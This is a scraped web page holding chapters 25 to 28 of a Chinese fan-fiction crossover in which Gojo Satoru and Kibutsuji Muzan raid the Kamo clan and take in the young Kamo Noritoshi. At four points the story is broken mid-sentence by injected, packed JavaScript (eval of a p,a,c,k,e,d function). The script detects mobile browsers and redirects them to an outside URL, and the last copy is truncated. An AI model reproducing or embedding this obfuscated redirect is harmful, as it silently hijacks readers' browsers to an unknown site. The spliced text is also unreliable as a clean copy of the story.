下人想要反驳,结果才刚刚开口,敌方的两人都没动作,反倒是被自己这方的咒术师捂着嘴巴拖下去了。 这群受雇佣的咒术师,不再阻挠着两位。 25. 第 25 章 什么是无法抵抗的存在? 什么是无法与之为敌的存在? 当幼年的加茂宪纪被带到本家,当成正室的孩子培养。 被迫与亲生母亲分离,被迫与本该幸福的童年脱离,开始日复一日的枯燥乏味的训练,要时时刻刻维持身为嫡子的庄重。 只因为他身负祖传术式,只因为正室没有生下继承祖传术式的孩子,只因为他身为一个旁系却身负祖传术式。 所以他才被迫接受了这样的命运,逼迫自己去做的更好。 因为家族的力量,无可反抗。 ………… 但之前的夜晚,那个高傲的名为无惨的男人,轻易地突破加茂家严密的防线,轻易地杀死了父亲命令来看守自己的人,而后丝毫不畏惧地留下名字,又轻而易举地离开了。 加茂宪纪心里隐隐是有些害怕这人的,但又隐隐有些期待。 但这些天他所经历的教育不允许他有这般大逆不道的念头,因为嫡子首要的责任,就是维护家族的尊严,为家族取得荣耀,发展家族的势力。 但是…… 家族真的是不可为违抗的吗? ………… 这天夜里,本家难得传来接连的爆炸声,人们呼喊,但却没有多少哀嚎。 嘈杂的声音一声接着一声,加茂宪纪又惊又怕地走出房间迎面便碰见了个骂骂咧咧的男人。 对方朝加茂宪纪骂了两声,但声音不大,然后接上了一句发泄似的畅快话:“特么,嫡子!哈,老子不伺候了!” 加茂宪纪警惕地看着他,颇不知道,一个幼童的警惕,就如一只张着还未长好的牙齿的幼猫。 所以对方没有理他,只是骂了两句,就向着那爆炸声的反方向跑掉了。 于是加茂宪纪逆着那人的离去的方向,抬头,向空中看去。 与那高傲的血红色眸子直直对上。 骨刺猛得向他的方向穿梭而来,加茂宪纪余下的思路里,只剩下那越发靠近的尖刺,和那双血红色的眸子。 骨刺从加茂宪纪的咯吱窝下绕过,猛地把人扯了过去。 下一秒,又是一发清澈的湛蓝色的光,周遭的建筑物瞬间被削去半个顶,接着轰然倒塌。 随着加茂宪纪的视线逐渐抬升,他看见那双血红色眸子的主人,正笔直地站在屋顶的边缘,身形如松,高高在上。 自他的身后蔓延而出的骨刺,瞬间就能摧毁一幢房子,摧折树木,将还逗留在空地上的人扫到边缘去。 然后那些不属于加茂家的咒术师,只是收了钱办事的咒术师,纷纷顺势倒在地上,喊得一个比一个大声,接着咕噜咕噜往庭院外面滚。 那人仿佛高悬于天空之上,其力甚至能撕裂黑暗。 原来向来森严的咒术师世家,也可以不是庄严而压抑、阴森与恐怖的,也可以充斥着人们放纵的怒吼与大笑。 畅快也好,嘲弄也罢,总之,这里不再如死一般寂静。 所以, 家族真的是不可违抗的吗? 加茂宪纪的瞳孔微微放大,仿佛看见了不可思议,但确实存在的东西。 ………… 鬼舞辻无惨不是很有耐心地朝某个方向大喊;“五条悟你是蠢货吗?” 不见其人,但闻其声,五条悟的嗓音穿透浓稠的夜,瞬间飞来。 “干嘛! 你又不是不知道,我术式就这个样子,波及的范围太广了。 反正有你莫,多看着点不就行了?你又不是死了。” 鬼舞辻无惨:? 鬼舞辻无惨居高临下地扫视了一番四下,确定已经没了逗留的人,这才准备朝着五条悟的方向追去,高低要先揍他一顿。 结果骨刺在收回来的时候,感受到了一点微不可计的阻力。 鬼舞辻无惨将目光转移过去,就看见了抱着他的骨刺不准备撒手的加茂宪纪。 鬼舞辻无惨:不是,你们一个二个的都是什么毛病。 鬼王的身体缓缓降落,直至降落到地上,对方矮到连低着头都看不见正脸。 “呵。” 鬼舞辻无惨无语,暗道一声小鬼。 “放手。” 鬼舞辻无惨的声音又阴冷又暴躁,但这不仅没吓到加茂宪纪,对方反倒是抱着他的骨刺抱得更紧了。 “我认得你!” 加茂宪纪有事相求,但又怕他失了耐性,直接给自己一脚,于是连忙开口。 “你跟我说你叫无惨!” 鬼舞辻无惨身体没动,双手抱胸,微微低下头。配合着他的动作,骨刺再一次把加茂宪纪提了起来,直到二者得以平视的地步。 “小鬼, 认得我又如何?” 加茂宪纪在半空中扑腾了一下,确认自己挣脱不开后,才放松下来。 “那个…………” 加茂宪纪鼓起勇气,又想着平视对家里长辈的尊称,十分正经地做出一份小大人的样子,对着鬼舞辻无惨请求到。 “无惨大人,您能不能,带我和我的母亲……离开加茂家!” 刚开始的时候,这话很难说出口,毕竟加茂宪纪知道,自己是在请求一个仅见过两面,并不友好,甚至可能与自己的家族有冲突,或者有仇恨的人。 但这头开了之后,后面的话反倒是能顺利地说出来了。 大抵是因为鬼舞辻无惨虽同样高高在上、蔑视众人,但这种高傲和蔑视,并不带有极端的侮辱的意味。 他的高傲只是在阐述一个事实,那便是:因为我比你们都强,所以各位在我眼里,不过是蝼蚁。 特别是在鬼舞辻无惨不需要吸食血液之后,这种陈述性质的态度就更为显著了。 同为蝼蚁,并无高下优劣,我以绝对的实力蔑视各位,忽略各位。 正如他第一次见加茂宪纪时,同他说的那样, ——————你们所有人,对我而言,都无所谓。 傲然凌尘,超出平凡人之间的仇怨与森严等级,不将万事万物放在眼里。 所以加茂宪纪不怕他。但鬼舞辻无惨自己显然还没有完全意识到这一点,只是十分困惑地责问自己: 不是,难道我看上去真的很好惹吗? 面对一个陌生小鬼的求助,鬼舞辻无惨本来就够烦了的,更重要的是五条悟这个顺风耳,特么隔着那么远都能听到这边的动静,“咻”一下就瞬移了过来,一把抱起加茂宪纪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406411|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇哦呜—— 你居然这么讨小孩子喜欢吗? 天呐天呐,那英俊潇洒帅气强大的五条悟先生呢?” 加茂宪纪被五条悟抱在半空中晃来晃去,眼泪都快被晃出来了。 鬼舞辻无惨:一个蠢货和另一个莫名其妙的小鬼。 加茂宪纪觉得自己应该还要努力挣扎一下,于是扑腾着从五条悟怀里钻出来。 “那,那个!” 五条悟拍了拍他的脑壳,示意他先别说话。 一行人慢悠悠地往主屋的方向走,五条悟一边念念叨叨的。 “你知道的,咒术师的天赋,在很大程度上取决于咒术师本身的血脉。而御三家能占据咒术界核心地位至今,依靠的便是每一家的祖传术式。 加茂家的祖传术式,赤血操术,虽说潜力和最终战斗力不如其余二家,但优点是稳定,每一代族人之中,基本都有继承祖传术式的存在。 但这一代的正室,并没有生下继承祖传术式的孩子,而是由这个旁系继承了。 所以,家主就把这孩子带给正室抚养,伪装为嫡系。” 五条悟摊手:“所以,接下来的动作,你也是懂的吧?” 鬼舞辻无惨冷哼一声,没怎么在意。 “很符合我对世家的印象。” “所以……?” 五条悟试探性地说到:“你怎么能忍心辜负人家的一番期待呢!” 鬼舞辻无惨非常忍心。 “拒绝。” 加茂宪纪的脸上露出伤心的神色,五条悟也跟着控诉起鬼舞辻无惨来。 “不要嘛……” 鬼舞辻无惨白了他一眼,“你自己说的,我们今晚来这里,又不是为了大开杀戒来的。 带走了加茂家的祖传术式,这群人不得疯了?” 五条悟十分理直气壮地说着,完全不管鬼舞辻无惨那完全有可能升高的血压。 “可是你在这些老头子眼里,就是一个觊觎他们家祖传术式的人呀。” 五条悟:微笑。 “你找打?” “我这是实话实说,你太暴躁啦。” “而且。”五条悟话头一转,把话题带到一个意想不到的人身上,“你不是已经接触过禅院家的祖传术式了吗? 我查了,你们相处还算不错。” “诶。”五条悟满脸好奇地盯着他,“那个时候你应该还是处在,需要且匮乏血液的时间段吧?怎么没下手?” “因为那时候他年纪小,血液实际上还没有完全成熟,吸引力一般。 况且,一个几岁大的孩子,稍微喝多点,我都怕他直接没了。” “那我也是二百个月大的孩子呢!你怎么就下得了手呢?” 鬼舞辻无惨跟见鬼了一样看着五条悟。 “你有病?” 五条悟回给他一个嫌弃的表情。 “一点都没有幽默细胞。” 五条悟骂骂咧咧,顺带着把加茂宪纪举到鬼舞辻无惨面前。 “所以,这个小鬼,你帮不帮?” 鬼舞辻无惨不耐烦地回瞪过去,很诡异地停顿了一下,才接着说道。 “你想帮就帮咯。” 26. 第 26 章 “你想帮就帮。” 五条悟听着这句十分耳熟的话,露出一个意味深长的笑容。 随后一手把加茂宪纪抱在怀里,一手扯着鬼舞辻无惨的衣服。 “出发出发,最终目标。” 两人闲情逸致,悠悠漫步,加茂宪纪夹在他俩中间,时不时充当挑起话题的源头和缓和气氛的帮手。 直到他俩来到最终的目的地,找到目前还停留在加茂家的那位高层。 人到六十多岁,身体仍旧直挺的加茂宪森站到了两人面前。 “五条悟! 你深夜袭击加茂家,杀害我加茂家的族人,甚至连宪屹这孩子都不愿放过。 五条家莫非已经要和加茂家彻底为敌吗?!” 加茂宪森以拐杖拄地,身形直挺,言辞肃正而激烈。 五条悟:谁?我杀的?真的假的? 五条悟对这等质问接受良好,还有心思懒懒地打了个哈欠。 “老头子,别什么帽子都往老子的头上扣。 先对五条家出手的反倒是你们吧? 怎么,你弱你有理啊?” 许是就等着五条悟这句话呢,加茂宪森一挥手,其后,大批加茂家的族人秩序鲜明地排列站队。 扑面而来的气势并非是为家族抵御外敌的慷慨激昂,而是悠悠恍若死一般沉寂。 “这么说来,你这是认定了,弱者在强者面前,没有半点生存权吗?! 五条悟,你把咒术师的责任,丢到哪里去了?!” 鬼舞辻无惨眉毛一挑,身后骨刺飞出,瞬息之间就接近了加茂宪森的脑袋。 但在尖刺几乎要扎进对方的额头之时,骨刺被五条悟一手抓住,强制停止向前。 “加茂宪森”的瞳孔微微放大,几乎要在这铺天盖地的危机感中落下阵来。 两人是正儿八经地从加茂家的大门走进来的,那群死忠于加茂家的族人像是达成了某种共识,不约而同地向他们进攻而来,甚至放出了被饲养于加茂家的咒灵群。 为了解决四散的咒灵,和时不时窜出的咒术师,两人虽不说是煞费脑筋,但也是费了好一番功夫。 除此之外,那些感到恐惧而后退的族人,那些受雇于加茂家而深感不值得的外聘咒术师,则由鬼舞辻无惨保证他们不会在五条悟的大肆发疯中失了性命。 “老头子。” 五条悟的语气听上去并不是非常美妙,但他还是耐着性子,只是笑眯眯地对着面前的一切。 “你这顶帽子扣得倒是好啊。” 鬼舞辻无惨慢悠悠地收回骨刺,睨了五条悟一眼。 他对什么扣帽子、罪名、责任和利益什么的并无所谓,只不过,这种东西会对五条悟产生不好的影响的吧? 毕竟,只有五条悟才会去帮助对自己毫无用处的人。 在骨刺被收回后,加茂宪森明显松了一口气,但心里还是放不下对鬼舞辻无惨的警惕。 “那五条家的少主深夜来访,究竟为何?” 先前冲上来送死的咒术师,深以为五条家已经决定彻底撕破脸皮,不顾一切也要为高层创造离开的时间。哪怕是鬼舞辻无惨,也以为五条悟此行,是为了给受牵连的高专众人讨公道。 但五条悟话锋一转,提起了另一件事。 “别这么咄咄逼人嘛,你还得感谢我呢。 五条家收到消息,在加茂家的本部出现了少见的变异咒灵。 老子可是超————级担心,你个老东西会这么容易就死翘翘了呢。 所以才大张旗鼓地赶过来,想确认您的安危啊——” “加茂宪森”眸中闪过一丝精光,破天荒的没有生气,反倒是顺着五条悟的话往下说。 这下,鬼舞辻无惨是确定了,这家伙要么有事情瞒着自己,要么提前知道了些自己无从得知的东西。 有点意思。 加茂宪森:“哦?那这么说来,老朽还要感谢五条家的援助了? 五条少主心系咒术界的安危,当真是一代青年才俊。” “族长!” 立于加茂宪森身旁的加茂家族人显然有些不甘心,以至于遗忘了自己的身份,擅自出口打断二人的谈话。 果不其然,被加茂宪森严厉呵斥并责罚了。 五条悟:“啧啧啧,虽然你年纪大,但你脾气也不好啊。” “五条少主说笑了。”加茂宪森对此举感到接受良好,“若是尊卑不分,那么这家族内部,可就乱了套了。” 一场冲突以暴力手段轰轰烈烈地进行,却在最后关头以一种稍显草率的方式结束,这换了任何一个人来,都要摸不着头脑。也只有五条悟和加茂宪森两人清楚,在他们之中,究竟进行了哪方面的博弈。 “这话说得。”五条悟扶稳了墨镜,不准备给他好脸色,“这加茂家怎么管理,我是管不着。反正明天还要去一趟禅院家,这么点动静,也不算多大,是吧?” 至此,在加茂家的事情告一段落。 最后,也是最重要的确定五条悟猜想的步骤。 五条悟把双手抬起,抖了抖被自己夹着咯吱窝举起来的加茂宪纪。 “那老头,你家嫡子放我那了,你不会有意见吧?” 加茂宪森呵呵一笑,没有流露出半点生气的迹象。 “当然没有意见。 能得到五条少主的赏识,对宪纪来说,也是个不错的锻炼机会。” 加茂宪纪瞪大了眼睛,扯着嗓子急急忙忙地喊,“族长大人!” 被加茂宪森瞪了一眼后,加茂宪纪的语气冷静下来,虽说还稍显稚嫩。 “族长大人。父亲大人和母亲大人为了族内事务而奔波,宪纪跟随五条家的少主学习,难免会思念家族。 希望族长大人能同意,让我在家族内部挑选一名族人,随宪纪一同离去。 能免去思绪之苦,也不会耽搁族内事务。” 听他说完,加茂宪森满意地点了点头,十分大度地应下了。他显然知道加茂宪纪是从侧室过继到正室下的,也知道他想挑选的那人是谁————他的生母。 加茂宪森慢悠悠地说着,语气里居然能透出些许的慈爱。 “当然可以,我会下令,派遣家主的那位侧室,前往高专照顾你的生活起居。 宪纪能为家族考量至此,也是加茂之幸。” 与这长幼有序的气氛不同,五条悟收回了举着的手,把加茂宪纪抱在胸前,脸上纠结在一起,显出另一种意义上的无语。 “不是吧,老东西。 这小孩才几岁啊?五六岁有没有? 丁点大就被你们养的官话一套一套的,老子可不想看着他这么小就定性成小橘子啦!” 加茂宪纪瞪圆了眼。 嗯?这么说话不对吗? 预想之中的冲突,没有。 意料之中的混乱,也没有。 虽说夜已深,但两人都可以称得上是夜猫子,并不着急,只是慢悠悠地走着。 加茂宪纪迈着个小短腿,在他俩身后艰难地跟着。 鬼舞辻无惨难得觉得自己确实应该多去知道些东西,不然在和五条悟的行动中,会显得很呆,不是吗? 等等…… 鬼舞辻无惨疑惑地瞥了五条悟一眼,成功让对方现出一个莫名其妙的表情。 我为什么会觉得,自己肯定会和五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406412|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条悟一起行动呢? 但这疑惑只有少许,然后就被他抛在脑后。 五条悟不报隔夜仇,鬼舞辻无惨亦然。 “所以。”鬼舞辻无惨的声音冷冷的,“你们之间,达成了什么协议?” 五条悟举起双手,以示意自己的无辜。 “我保证,我在到加茂家之前,还是啥都不知道的。” 鬼舞辻无惨疑惑地看了他一眼,就当是接受了他这个说法。 “那,具体是?” 五条悟摸着下巴,向来随性的脸上居然出现了一抹深思。 然后他轻飘飘地瞅了一眼加茂宪纪。 加茂宪纪本人:“嗯?我不能听吗?” 五条悟有点犯难,撇了撇嘴,“你这小孩,额,还是别了吧。” 加茂宪纪:“没关系,两位能带我出来,我就很感激了——” 下一秒,骨刺瞬间动作起来,两下就把人打晕,然后丢到了五条悟怀里。 五条悟:“?等等,为什么是我抱着他?” 鬼舞辻无惨的视线平移过去。 五条悟:“好的,我抱就我抱。” “现在可以说了?” 五条悟眨巴眨巴眼睛,神色变得凝重起来。 “你应该知道,六眼的本质就是看穿咒力的流动。 方才战斗的时候,我从加茂家放出的咒灵群中,觉察到了某些异常的咒力流动。” 事实上,圈养咒灵,这对御三家来说是十分正常的一件事。 有些能力特殊的咒灵,一般可以用来完成某些十分困难的举动。实力强大但可控性强的咒灵 ,可以作为家族之中训练小辈的工具之一。 但那群咒灵的咒力运转,出了些问题。具体些就是,咒灵的咒力与人类的咒力有融合的迹象。 鬼舞辻无惨沉默片刻,“这很关键吗?” 五条悟指了指对方,“你不知道,所以没感觉。 但加茂家可是有前科的。” 一百五十年前,一位加茂家的咒术师,加茂宪伦,用人类女子和咒灵诞下九个咒胎,并在其中混入了自己的血,研究出了特级咒物咒胎,九相图。 “极恶诅咒师,加茂宪伦,研究咒灵与人类相融合,一直被加茂家视作污点。 在觉察到二者的咒力有相融的迹象后,我猜测,在加茂宪伦死后,加茂家可能并没有停下来,反倒是继续着加茂宪伦的实验。” 五条悟打了个响指,对着鬼舞辻无惨笑了一声。 “所以,我在刚才稍稍透露了一点东西,并把五条家搬出来,果不其然,这老东西一下子就息鼓了。 肯定有鬼啊————” 鬼舞辻无惨回望过去,赤红与湛蓝的色彩交织在一起。 “所以,加茂家对我们带走他们的祖传术式这件事也接受良好,是因为……” 五条悟接着他的话说到:“加茂家的祖传术式有很高的上线,但缺点就是必须依靠血液进行驱动。但在未领悟反转术式前,人类的血液并不是无穷无尽的,哪怕加茂家有提前储存血液的习惯,也支撑不了太久高强度作战。 赤血操术的这个特质,使得他的上限远远没有被开发出来。” 但谁又能得知,这是赤血操术的上限,还是人体的上限呢? 利用咒灵的特质,将咒灵与人类融合,创造出能够彻底发挥赤血操术上限的存在。 就像百年前的加茂宪伦一样。 一旦成功,继承了祖传术式的人类,既无法发挥祖传术式的上限,又需要十几二十年的时间培养,还有可能中途夭折。 两相对比,这位幼年的加茂宪纪的价值,可就被大大降低了。 27.第 27 章 鬼舞辻无惨冷冷的视线落在加茂宪纪身上。 “你认为,加茂家的实验,已经进行到关键步骤了?” 五条悟反手就给他来了一句:“我不知道啊。” …… 鬼舞辻无惨:“那你方才还说,是五条家获得的情报。” 五条悟嘿嘿一笑,十分满意自己的临场发挥。 “我哪有那个兴趣去看五条家的文件啊,一般上这种课,我要么直接翘掉,要么就在课上睡死过去的。” 五条悟理直气壮,对鬼舞辻无惨的沉默十分不满。 “我难道不聪明吗?” 五条悟指出:“反正不管五条家那边知不知道加茂家在做这类的实验,要是不知道,现在老子不是知道了吗? 要是五条家已经有相关的情报,那不就真好方便了老子嘛。 反正我肯定要挑时间回一趟五条家的,现在想这个简直是自找麻烦,老子才不干嘞。” 不过,其实还有一个问题。 那个加茂宪森?是这个名字吧,五条悟觉得他应当是清楚,自己绝对不会放任高层对高专众人下手的,也就是说,高层这个决定一旦落下,五条悟随时都有可能打上门去,把高层一锅端了。 这群人就不怕,他们的举动会彻底惹怒五条家,惹怒五条悟吗? 而且以方才的情况来看,确实是这样,就像是知道并已经准备好了与五条悟作战的打算,负责看守加茂家的侍从简直就是跟不要命一样,连咒灵群都敢往外放,还真拖住了五条悟不少的时间。 等他俩解决好进入加茂家内部,五条悟本来都已经准备好看到人走茶凉,内部空无一人的局面的,没想到居然还有老头子留了下来。 是不怕死,还是另有仰仗? ………… 五条悟头脑风暴了半天,最终决定去他的,反正高层这帮烂橘子脑子有病不是一天两天的事了,就当这群人犯病,为了维护自身的利益什么事都做得出来,好像也说得通。 于是五条悟放弃思考,转而找鬼舞辻无惨搭话。 “喂。这个家伙。” 五条悟把怀里抱着的加茂宪纪往鬼舞辻无惨的方向凑了凑。 “就搁高专啦?” 鬼舞辻无惨反问到:“你有更好的选择吗?” 说的也是。 五条家,同加茂家如出一辙的封建家族,教育方式和加茂家也大差不错的,五条悟能长成如今的性格,应该多亏了五条悟自己抗造。把小孩放五条家养,怎么滴,是想再给御三家培养小橘子是吧? 而且咒术师还是要在咒术师环境下长大,才更加适合他们的成长路线,不说别的,就单单和同类待在一块来说,也能合群一些,不至于因为与普通人的不同而产生心理问题,那么,在民间找个地方,这个选择自然就被放弃了。 而且高专其实真挺不错的,够开放包容,而且青春气息更浓郁,超级适合养孩子………… 等等,好像并不是很适合养。 因为高专的学生也是会出任务的,万一哪天出个意外,上午还在一起玩的人下午就永远闭上了眼,这样来个几次,真的不会抑郁吗? 不过对咒术师来说,正确处理生和死的问题,本来就是急切且必须的。 无法正确看待生死,当然就无法正确面对自己的处境,无法彻底地成为一名咒术师,只是空有名头,最终容易踏入倾倒的深渊里去。 五条悟有些冷漠地想着。 慢慢学吧,这种东西只能自己领悟,难道还要靠别人教吗? 既然已经决定了把加茂宪纪放在高专养着,而且那个老头子也说会把加茂宪纪的亲生母亲也送到高专,那就不用多想了。 就是需要和夜蛾讲一下,有关于一晚上,为什么高专会多出一个成年女性和一个小孩。 管他呢,反正有夜蛾操心,怎么样也轮不到老子。 两人带着加茂宪纪率先回到了高专。 寂静的夜,四周只剩下微风穿过树梢发出的细微的沙沙声。 五条悟随便找了一间布置还算完善的房间,把加茂宪纪放在床上,草草给人盖上被子之后,就麻溜地关门离开,和仍旧杵在门口的鬼舞辻无惨站在一起。 五条悟摸着下巴思索到。 Emmm………… 夜蛾老师那边,虽然必须是要摆脱他关照的了,但最好还是等天亮了再说。 一年级的两个,今天刚经历过生死危机,状态都不太好,还是不要麻烦他俩了。 三四年级的学生又常年在外,不是在出任务就是在出任务的路上,想让他们照顾孩子简直不可能。诶不对,冥冥学姐好像可以用钱收买,额但是现在找她,人可能都不一定在日本境内,不太现实。 二年级,硝子这家伙,忙起来能用刚做完实验的手术刀切午餐肉,让人不是很放心啊。 所以,果然答案就是………… “杰————————” 五条悟猛地一下往一个房间蹦去。 傍晚的时候,被五条悟夏油杰联手摧毁的房门已经被修好了,但是里面并没有咒力波动的痕迹。 五条悟眉毛一挑,开了门走进去,果不其然,里面空无一人。 五条悟扶额,略显可惜地叹了一声。 “唉,不在,可惜了。 没有免费劳动力了。 不过这人能去哪里呢…………” 说起来,五条悟这人相当区别对待。 自信又自傲,所以五条悟在行事时,往往不会,或者说懒得去关注他人的看法,关心别人的心情,但面对如何处置加茂宪纪这个问题,五条悟却针对高专众人的具体实际,思考了相当多的方法。 但说他体贴,又怎么可能,毕竟五条悟去踹夏油杰房门的时候,就是打着“睡什么睡起来嗨”的念头,准备让夏油杰帮忙做事的。 五条悟掏出手机,丝毫没有顾虑地直接给夏油杰打了个电话。 等铃声响了三四秒,电话才被接起来。 “悟,这么晚还没睡吗?” 夏油杰的声音听起来略显疲惫。 五条悟左手交叠在胸前,背靠着房门,低着头说话。 “杰不是也一样?你跑哪里去啦?” 电话那头,夏油杰躺在飞行咒灵的背上,眯着眼看着深邃的天空,看浓郁的黑色之中闪着光的星星。 “抱歉,悟,我想一个人静静。” “诶?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411590|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这黑暗是那样的深沉,仿佛能吞噬一切,而在这黑暗之中,点点的星光又如此耀眼,仿佛无论何物,都无法阻碍其光芒。 夏油杰响起今天高层方给出的回应,难得沉默许久。 “杰……” 五条悟缓缓开口,“你抑郁啦?” 五条悟:不是吧,我在之前还想过在高专生活,加茂宪纪会不会抑郁这个问题,怎么杰还先抑郁了。 听见五条悟的疑问,夏油杰瞬间心脏一梗,连郁结在心头的那种疑惑都被迫消散了许多。 “悟………… 找打啊你。” “杰现在可打不过我。” 五条悟有些无聊地说到:“哎呀,不管了,杰,我带了个小孩子回来,你要照顾吗?” 夏油杰疑惑:“啥?” 五条悟:“因为感觉你很有妈妈的气质,一定能照顾好小孩子的。 说不定等到时候,孩子他妈到了,你俩还能交流一下心得” 夏油杰表情瞬间就无语了,整个人石化住。 “你有病啊——” 夏油杰发誓,要不是咒灵现在飞太高了,到地面要点时间,要不是他现在打不过五条悟,夏油杰保证,自己立刻抵达现场与之对战三百回合。 无语着无语着,夏油杰又想起了这几天认识的鬼舞辻无惨,虽然这人确实高傲,但也有高傲的资本。 或者说,能这么强的人,对弱者之流不屑一顾,好像也正常。 这么说来,果然悟才是那个特殊的存在吗? 夏油杰正发着呆呢,五条悟慢悠悠的话就从电话那头传来。 “杰,你为什么不说话? 难道你也觉得我说的很对?!” 夏油杰…… 夏油杰保证,自己要是有鬼舞辻无惨的实力,第一选择就是用骨刺把五条悟的脑袋和舌头扎个对穿。 这人是真能惹人生气啊我去。 以前取笑一下我的刘海和眼睛就算了,现在还把自己比作妈妈? 总不能是我这个人看着就比较和善导致的吧? 有可能,像鬼舞辻无惨一样整天冷着一张脸,一看就不好惹。 莫名被cue的鬼舞辻无惨冷着一张脸,冲还靠在门上的五条悟喊了一声。 “还没好?” 五条悟会给他一个眼神,和夏油杰再聊了两句,确认他的语气没有刚接电话的时候那么消沉了,这才结束自己十分无理取闹的话题。 “好了好了。” 五条悟往鬼舞辻无惨的身边走过去。 “老子不管,老子要睡觉,谁来都不好使。” “你自己找间房间咯。” 鬼舞辻无惨蓦地开口。 “等一下。 你是不是忘了什么?” 面对他的提问,五条悟沉默,疑惑,思索,顺带着联系了一下鬼舞辻无惨的得性…… 最后悲惨地得出—— “不是吧?你就半个多小时的时间,你估计也没帮杰做几个任务! 这还要给血的吗?” “还有。”五条悟颇为不平,“你不是说自己不需要喝血了吗?” 鬼舞辻无惨表示,一切归于,“我乐意。” 28.第 28 章 鬼舞辻无惨:“我乐意。” 五条悟:“我呢?我不乐意嗷。” 鬼舞辻无惨的视线再次平移过去。 “出尔反尔?” 五条悟语气谴责,满脸控诉。 “不是吧你? 要我提醒你今天发生了什么吗? 凌晨的时候,你把我吵醒要喝我血。 傍晚的时候,又喝了一次。 老子还一宿没睡呢!” 五条悟越说越起劲,恨不得把他做的一切如数道来。 “现在还没过零点的界限呢!相当于你一天,一天内,找我要了三次血 ! ! ! ” “这合理吗?这不合理!” 鬼舞辻无惨抬头看着天,不是很想理他的念念叨叨。 “你不是有反转术式的吗?” 五条悟以一种“你怎么能这么想”的表情看着他。 “反转术式不是用来干这个的吧?” “反正你就是不乐意呗。” 鬼舞辻无惨粗暴地下了定论,结果对面这个人反倒是收回语气中的尖锐,碎碎念一样地说到。 “也,不是那么不乐意……” 五条悟这种条件的人,从小到大就没有遇到过难题。 五条家的人把他当宝贝似的供着,配套以超高水平的生活环境、经济实力、社会地位,用诸般蜜糖似的蛋壳将神子包裹着,想要什么唾手可得。 顶级的外貌,最强的实力,傲人的家世,这加之于他身上的诸多光环,使得五条悟哪怕性格一塌糊涂,也不缺什么东西,不缺人愿意围在他的身边。 来高专的这段时间,大概是五条悟人生中最为舒服的时候了。没有教条似的框架,没有兢兢战战的下人,同学之间的友情和师生间的情谊,是身为高位之人最为难得的情感之一。 而且和夏油杰、家入硝子不一样。 家入硝子的心里路程大概是:两位同窗虽然愚蠢但着实强劲。 夏油杰这个人比较特殊。 他首先是平民咒术师,在进入咒术界之前,无法逃离同周围同龄人之间的隔阂。 他可以作出友善、和睦的样子同他人相处,但咒术师和普通人之间向来有着不可避免的隔阂,也只有进入咒术界,咒术师才能找到同类,不至于兢兢战战,担忧表现出自我与他人的不同。 其次一进入咒术界,就被他的术式天赋抬高到如此境地,从需要费心隐藏到高高在上的两个极端,心理处境的极大转变,构造出了极端的性格壁垒。 在之前,夏油杰和五条悟通过极其契合的互补性格、臭味相投的喜好、实力之间的唯一匹配,等等要素集结在一起,创造了少年人之间独一无二的友情。 但天内理子在他面前死去,被无咒力的天与束缚击败,被觉醒反转术式的五条悟甩在身后,因为高层失误而差点丢了性命的灰原雄,此间的一切都在对这环环相扣的逻辑链提出挑战。 但友情产生的逻辑链受到挑战,并不代表他和五条悟之间就没友情了。 情感这种事情是最难被评判和遗忘的。 于是,转过头来看,五条悟和鬼舞辻无惨之间有友情吗? 有个毛线! 五条悟时常觉得鬼舞辻无惨有病。 鬼舞辻无惨则不一样,他是不管什么时候,都觉得五条悟有病。 五条悟面色复杂。 他与鬼舞辻无惨之间关系的纠结点就在于—— “我那么多优点,你就只盯着老子的血?” 五条悟难得这么不爽过。 鬼舞辻无惨内心毫无波澜,甚至觉得他在无理取闹。 “所以?” 五条悟凑近他。 “我长得不好看?” 鬼舞辻无惨:“关我毛事?” “我实力不强吗?” 鬼舞辻无惨:“你想打架?” “咳,现在不怎么想。” 五条悟把自己的优点细细数来,但是最终都比不过一句话。 鬼舞辻无惨面无表情地说:“所以到底关我什么事?” 五条悟:烦捏。 所幸破罐子破摔,五条悟稍显任性地说:“是是是,跟你没关系。” “但是我记得某人好像说过,心情也会影响血液的质量哦——” “因为某人把我贬的一无是处,老子现在不高兴~” 某·鬼舞辻无惨·人:沉默。 五条悟乘胜追击:“而且老子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 